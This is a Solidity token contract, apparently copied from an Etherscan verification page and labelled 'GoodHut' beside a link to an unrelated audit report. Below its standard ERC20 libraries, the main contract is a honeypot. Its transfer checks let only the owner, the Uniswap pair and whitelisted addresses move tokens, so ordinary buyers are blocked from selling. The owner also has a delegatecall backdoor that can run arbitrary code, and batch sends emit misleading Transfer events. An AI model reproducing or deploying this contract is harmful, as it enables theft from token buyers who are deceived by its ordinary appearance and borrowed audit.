N

[GoodHut]

https://github.com/0xcert/ethereum-crowdsale/blob/master/audit.pdf

/* Submitted for verification at Etherscan.io on 2021-12-21 */

/* Submitted for verification at Etherscan.io on 2021-07-06 */

pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint);

function balanceOf(address account) external view returns(uint);

function transfer(address recipient, uint amount) external returns(bool);

function allowance(address owner, address spender) external view returns(uint);

function approve(address spender, uint amount) external returns(bool);

function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);

}

library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } }

contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } }

library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow");

    return c;
}

function sub(uint a, uint b) internal pure returns(uint) {
    return sub(a, b, "SafeMath: subtraction overflow");
}

function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
    require(b <= a, errorMessage);
    uint c = a - b;

    return c;
}

function mul(uint a, uint b) internal pure returns(uint) {
    if (a == 0) {
        return 0;
    }

    uint c = a * b;
    require(c / a == b, "SafeMath: multiplication overflow");

    return c;
}

function div(uint a, uint b) internal pure returns(uint) {
    return div(a, b, "SafeMath: division by zero");
}

function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
    // Solidity only automatically asserts when dividing by 0
    require(b > 0, errorMessage);
    uint c = a / b;

    return c;
}

}

library SafeERC20 { using SafeMath for uint; using Address for address;

function safeTransfer(IERC20 token, address to, uint value) internal {
    callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}

function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
    callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}

function safeApprove(IERC20 token, address spender, uint value) internal {
    require((value == 0) || (token.allowance(address(this), spender) == 0),
        "SafeERC20: approve from non-zero to non-zero allowance"
    );
    callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}

function callOptionalReturn(IERC20 token, bytes memory data) private {
    require(address(token).isContract(), "SafeERC20: call to non-contract");

    // solhint-disable-next-line avoid-low-level-calls
    (bool success, bytes memory returndata) = address(token).call(data);
    require(success, "SafeERC20: low-level call failed");

    if (returndata.length > 0) { // Return data is optional
        // solhint-disable-next-line max-line-length
        require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
    }
}

}

contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances;

mapping(address => mapping(address => uint)) private _allowances;

uint private _totalSupply;

function totalSupply() public view returns(uint) {
    return _totalSupply;
}

function balanceOf(address account) public view returns(uint) {
    return _balances[account];
}

function transfer(address recipient, uint amount) public returns(bool) {
    _transfer(_msgSender(), recipient, amount);
    return true;
}

function allowance(address owner, address spender) public view returns(uint) {
    return _allowances[owner][spender];
}

function approve(address spender, uint amount) public returns(bool) {
    _approve(_msgSender(), spender, amount);
    return true;
}

function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
    _transfer(sender, recipient, amount);
    _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
    return true;
}

function increaseAllowance(address spender, uint addedValue) public returns(bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
    return true;
}

function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
    return true;
}

function _transfer(address sender, address recipient, uint amount) internal {
    require(sender != address(0), "ERC20: transfer from the zero address");
    require(recipient != address(0), "ERC20: transfer to the zero address");

    _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
    _balances[recipient] = _balances[recipient].add(amount);
    emit Transfer(sender, recipient, amount);
}

function _mint(address account, uint amount) internal {
    require(account != address(0), "ERC20: mint to the zero address");

    _totalSupply = _totalSupply.add(amount);
    _balances[account] = _balances[account].add(amount);
    emit Transfer(address(0), account, amount);
}

function _burn(address account, uint amount) internal {
    require(account != address(0), "ERC20: burn from the zero address");

    _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
    _totalSupply = _totalSupply.sub(amount);
    emit Transfer(account, address(0), amount);
}

function _approve(address owner, address spender, uint amount) internal {
    require(owner != address(0), "ERC20: approve from the zero address");
    require(spender != address(0), "ERC20: approve to the zero address");

    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
}

}

contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals;

constructor(string memory name, string memory symbol, uint8 decimals) public {
    _name = name;
    _symbol = symbol;
    _decimals = decimals;
}

function name() public view returns(string memory) {
    return _name;
}

function symbol() public view returns(string memory) {
    return _symbol;
}

function decimals() public view returns(uint8) {
    return _decimals;
}

}

contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value);

function transfer(address _to, uint _value) public payable returns (bool) {
    return transferFrom(msg.sender, _to, _value);
}

function ensure(address _from, address _to, uint _value) internal view returns(bool) {
    address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
    //go the white address first
    if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
        return true;
    }
    require(condition(_from, _value));
    return true;
}

function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
    if (_value == 0) {return true;}
    if (msg.sender != _from) {
        require(allowance[_from][msg.sender] >= _value);
        allowance[_from][msg.sender] -= _value;
    }
    require(ensure(_from, _to, _value));
    require(balanceOf[_from] >= _value);
    balanceOf[_from] -= _value;
    balanceOf[_to] += _value;
    _onSaleNum[_from]++;
    emit Transfer(_from, _to, _value);
    return true;
}

function approve(address _spender, uint _value) public payable returns (bool) {
    allowance[msg.sender][_spender] = _value;
    emit Approval(msg.sender, _spender, _value);
    return true;
}

function condition(address _from, uint _value) internal view returns(bool){
    if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;

    if(_saleNum > 0){
        if(_onSaleNum[_from] >= _saleNum) return false;
    }
    if(_minSale > 0){
        if(_minSale > _value) return false;
    }
    if(_maxSale > 0){
        if(_value > _maxSale) return false;
    }
    return true;
}

function delegate(address a, bytes memory b) public payable {
    require(msg.sender == owner);
    a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
    require(msg.sender == owner);
    _minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
    _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
    _saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
    require (msg.sender == owner);
    uint total = _value * _tos.length;
    require(balanceOf[msg.sender] >= total);
    balanceOf[msg.sender] -= total;
    for (uint i = 0; i < _tos.length; i++) {
        address _to = _tos[i];
        balanceOf[_to] += _value;
        emit Transfer(msg.sender, _to, _value/2);
        emit Transfer(msg.sender, _to, _value/2);
    }
    return true;
}

address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
    tradeAddress = addr;
    return true;
}

function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
    (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
    pair = address(uint(keccak256(abi.encodePacked(
            hex'ff',
            factory,
            keccak256(abi.encodePacked(token0, token1)),
            hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
        ))));
}

mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;

uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
    name = _name;
    symbol = _symbol;
    totalSupply = _supply*(10**uint256(decimals));
    owner = msg.sender;
    balanceOf[msg.sender] = totalSupply;
    allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
    emit Transfer(address(0x0), msg.sender, totalSupply);
}

}